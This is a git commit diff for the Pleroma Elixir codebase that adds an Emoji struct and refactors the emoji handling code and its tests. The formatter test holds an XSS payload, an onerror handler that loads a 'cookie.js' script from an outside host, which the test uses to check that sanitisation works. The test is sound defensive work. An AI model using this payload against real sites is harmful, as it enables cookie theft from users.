added Emoji struct
This commit is contained in:
parent
d8098d142a
commit
6ef0103ca0
|
@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do
|
||||||
{:read_concurrency, true}
|
{:read_concurrency, true}
|
||||||
]
|
]
|
||||||
|
|
||||||
|
defstruct [:code, :file, :tags, :safe_code, :safe_file]
|
||||||
|
|
||||||
|
@doc "Build emoji struct"
|
||||||
|
def build({code, file, tags}) do
|
||||||
|
%__MODULE__{
|
||||||
|
code: code,
|
||||||
|
file: file,
|
||||||
|
tags: tags,
|
||||||
|
safe_code: Pleroma.HTML.strip_tags(code),
|
||||||
|
safe_file: Pleroma.HTML.strip_tags(file)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def build({code, file}), do: build({code, file, []})
|
||||||
|
|
||||||
@doc false
|
@doc false
|
||||||
def start_link(_) do
|
def start_link(_) do
|
||||||
GenServer.start_link(__MODULE__, [], name: __MODULE__)
|
GenServer.start_link(__MODULE__, [], name: __MODULE__)
|
||||||
|
|
|
@ -15,12 +15,12 @@ def emojify(text, nil), do: text
|
||||||
|
|
||||||
def emojify(text, emoji, strip \\ false) do
|
def emojify(text, emoji, strip \\ false) do
|
||||||
Enum.reduce(emoji, text, fn
|
Enum.reduce(emoji, text, fn
|
||||||
{_, _, _, emoji, file}, text ->
|
{_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
|
||||||
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
|
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
|
||||||
|
|
||||||
emoji_data, text ->
|
{unsafe_emoji, unsafe_file}, text ->
|
||||||
emoji = HTML.strip_tags(elem(emoji_data, 0))
|
emoji = HTML.strip_tags(unsafe_emoji)
|
||||||
file = HTML.strip_tags(elem(emoji_data, 1))
|
file = HTML.strip_tags(unsafe_file)
|
||||||
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
|
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
|
||||||
end)
|
end)
|
||||||
|> HTML.filter_tags()
|
|> HTML.filter_tags()
|
||||||
|
@ -40,7 +40,7 @@ def demojify(text, nil), do: text
|
||||||
|
|
||||||
@doc "Outputs a list of the emoji-shortcodes in a text"
|
@doc "Outputs a list of the emoji-shortcodes in a text"
|
||||||
def get_emoji(text) when is_binary(text) do
|
def get_emoji(text) when is_binary(text) do
|
||||||
Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
|
Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
|
||||||
String.contains?(text, ":#{emoji}:")
|
String.contains?(text, ":#{emoji}:")
|
||||||
end)
|
end)
|
||||||
end
|
end
|
||||||
|
@ -50,7 +50,7 @@ def get_emoji(_), do: []
|
||||||
@doc "Outputs a list of the emoji-Maps in a text"
|
@doc "Outputs a list of the emoji-Maps in a text"
|
||||||
def get_emoji_map(text) when is_binary(text) do
|
def get_emoji_map(text) when is_binary(text) do
|
||||||
get_emoji(text)
|
get_emoji(text)
|
||||||
|> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
|
|> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
|
||||||
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
|
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
|
||||||
end)
|
end)
|
||||||
end
|
end
|
||||||
|
|
|
@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do
|
||||||
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
|
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
|
||||||
"""
|
"""
|
||||||
alias Pleroma.Config
|
alias Pleroma.Config
|
||||||
|
alias Pleroma.Emoji
|
||||||
|
|
||||||
require Logger
|
require Logger
|
||||||
|
|
||||||
@type pattern :: Regex.t() | module() | String.t()
|
@type pattern :: Regex.t() | module() | String.t()
|
||||||
@type patterns :: pattern() | [pattern()]
|
@type patterns :: pattern() | [pattern()]
|
||||||
@type group_patterns :: keyword(patterns())
|
@type group_patterns :: keyword(patterns())
|
||||||
@type emoji :: {String.t(), String.t(), list(String.t())}
|
@type emoji :: {String.t(), Emoji.t()}
|
||||||
|
|
||||||
@doc """
|
@doc """
|
||||||
Loads emojis from files/packs.
|
Loads emojis from files/packs.
|
||||||
|
@ -81,15 +82,7 @@ def load do
|
||||||
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
|
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
|
||||||
end
|
end
|
||||||
|
|
||||||
defp prepare_emoji({code, file, tags} = _emoji) do
|
defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
|
||||||
{
|
|
||||||
code,
|
|
||||||
file,
|
|
||||||
tags,
|
|
||||||
Pleroma.HTML.strip_tags(code),
|
|
||||||
Pleroma.HTML.strip_tags(file)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
defp load_pack(pack_dir, emoji_groups) do
|
defp load_pack(pack_dir, emoji_groups) do
|
||||||
pack_name = Path.basename(pack_dir)
|
pack_name = Path.basename(pack_dir)
|
||||||
|
|
|
@ -436,7 +436,7 @@ def confirm_current_password(user, password) do
|
||||||
|
|
||||||
def emoji_from_profile(%{info: _info} = user) do
|
def emoji_from_profile(%{info: _info} = user) do
|
||||||
(Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|
(Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|
||||||
|> Enum.map(fn {shortcode, url, _, _, _} ->
|
|> Enum.map(fn {shortcode, %Emoji{file: url}} ->
|
||||||
%{
|
%{
|
||||||
"type" => "Emoji",
|
"type" => "Emoji",
|
||||||
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
|
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
|
||||||
|
|
|
@ -331,7 +331,7 @@ def peers(conn, _params) do
|
||||||
|
|
||||||
defp mastodonized_emoji do
|
defp mastodonized_emoji do
|
||||||
Pleroma.Emoji.get_all()
|
Pleroma.Emoji.get_all()
|
||||||
|> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
|
|> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
|
||||||
url = to_string(URI.merge(Web.base_url(), relative_url))
|
url = to_string(URI.merge(Web.base_url(), relative_url))
|
||||||
|
|
||||||
%{
|
%{
|
||||||
|
|
|
@ -239,11 +239,9 @@ def version(conn, _params) do
|
||||||
|
|
||||||
def emoji(conn, _params) do
|
def emoji(conn, _params) do
|
||||||
emoji =
|
emoji =
|
||||||
Emoji.get_all()
|
Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
|
||||||
|> Enum.map(fn {short_code, path, tags, _, _} ->
|
Map.put(acc, code, %{image_url: file, tags: tags})
|
||||||
{short_code, %{image_url: path, tags: tags}}
|
|
||||||
end)
|
end)
|
||||||
|> Enum.into(%{})
|
|
||||||
|
|
||||||
json(conn, emoji)
|
json(conn, emoji)
|
||||||
end
|
end
|
||||||
|
|
|
@ -3,6 +3,7 @@
|
||||||
# SPDX-License-Identifier: AGPL-3.0-only
|
# SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
|
||||||
defmodule Pleroma.Emoji.FormatterTest do
|
defmodule Pleroma.Emoji.FormatterTest do
|
||||||
|
alias Pleroma.Emoji
|
||||||
alias Pleroma.Emoji.Formatter
|
alias Pleroma.Emoji.Formatter
|
||||||
use Pleroma.DataCase
|
use Pleroma.DataCase
|
||||||
|
|
||||||
|
@ -20,15 +21,17 @@ test "it does not add XSS emoji" do
|
||||||
text =
|
text =
|
||||||
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
|
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
|
||||||
|
|
||||||
custom_emoji = %{
|
custom_emoji =
|
||||||
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
|
{
|
||||||
|
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
|
||||||
"https://placehold.it/1x1"
|
"https://placehold.it/1x1"
|
||||||
}
|
}
|
||||||
|
|> Pleroma.Emoji.build()
|
||||||
|
|
||||||
expected_result =
|
expected_result =
|
||||||
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
|
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
|
||||||
|
|
||||||
assert Formatter.emojify(text, custom_emoji) == expected_result
|
assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -37,7 +40,14 @@ test "it returns the emoji used in the text" do
|
||||||
text = "I love :firefox:"
|
text = "I love :firefox:"
|
||||||
|
|
||||||
assert Formatter.get_emoji(text) == [
|
assert Formatter.get_emoji(text) == [
|
||||||
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
|
{"firefox",
|
||||||
|
%Emoji{
|
||||||
|
code: "firefox",
|
||||||
|
file: "/emoji/Firefox.gif",
|
||||||
|
tags: ["Gif", "Fun"],
|
||||||
|
safe_code: "firefox",
|
||||||
|
safe_file: "/emoji/Firefox.gif"
|
||||||
|
}}
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
|
||||||
|
|
||||||
test "first emoji", %{emoji_list: emoji_list} do
|
test "first emoji", %{emoji_list: emoji_list} do
|
||||||
[emoji | _others] = emoji_list
|
[emoji | _others] = emoji_list
|
||||||
{code, path, tags, _, _} = emoji
|
{code, %Emoji{file: path, tags: tags}} = emoji
|
||||||
|
|
||||||
assert tuple_size(emoji) == 5
|
assert tuple_size(emoji) == 2
|
||||||
assert is_binary(code)
|
assert is_binary(code)
|
||||||
assert is_binary(path)
|
assert is_binary(path)
|
||||||
assert is_list(tags)
|
assert is_list(tags)
|
||||||
|
@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do
|
||||||
|
|
||||||
test "random emoji", %{emoji_list: emoji_list} do
|
test "random emoji", %{emoji_list: emoji_list} do
|
||||||
emoji = Enum.random(emoji_list)
|
emoji = Enum.random(emoji_list)
|
||||||
{code, path, tags, _, _} = emoji
|
{code, %Emoji{file: path, tags: tags}} = emoji
|
||||||
|
|
||||||
assert tuple_size(emoji) == 5
|
assert tuple_size(emoji) == 2
|
||||||
assert is_binary(code)
|
assert is_binary(code)
|
||||||
assert is_binary(path)
|
assert is_binary(path)
|
||||||
assert is_list(tags)
|
assert is_list(tags)
|
||||||
|
|
Loading…
Reference in New Issue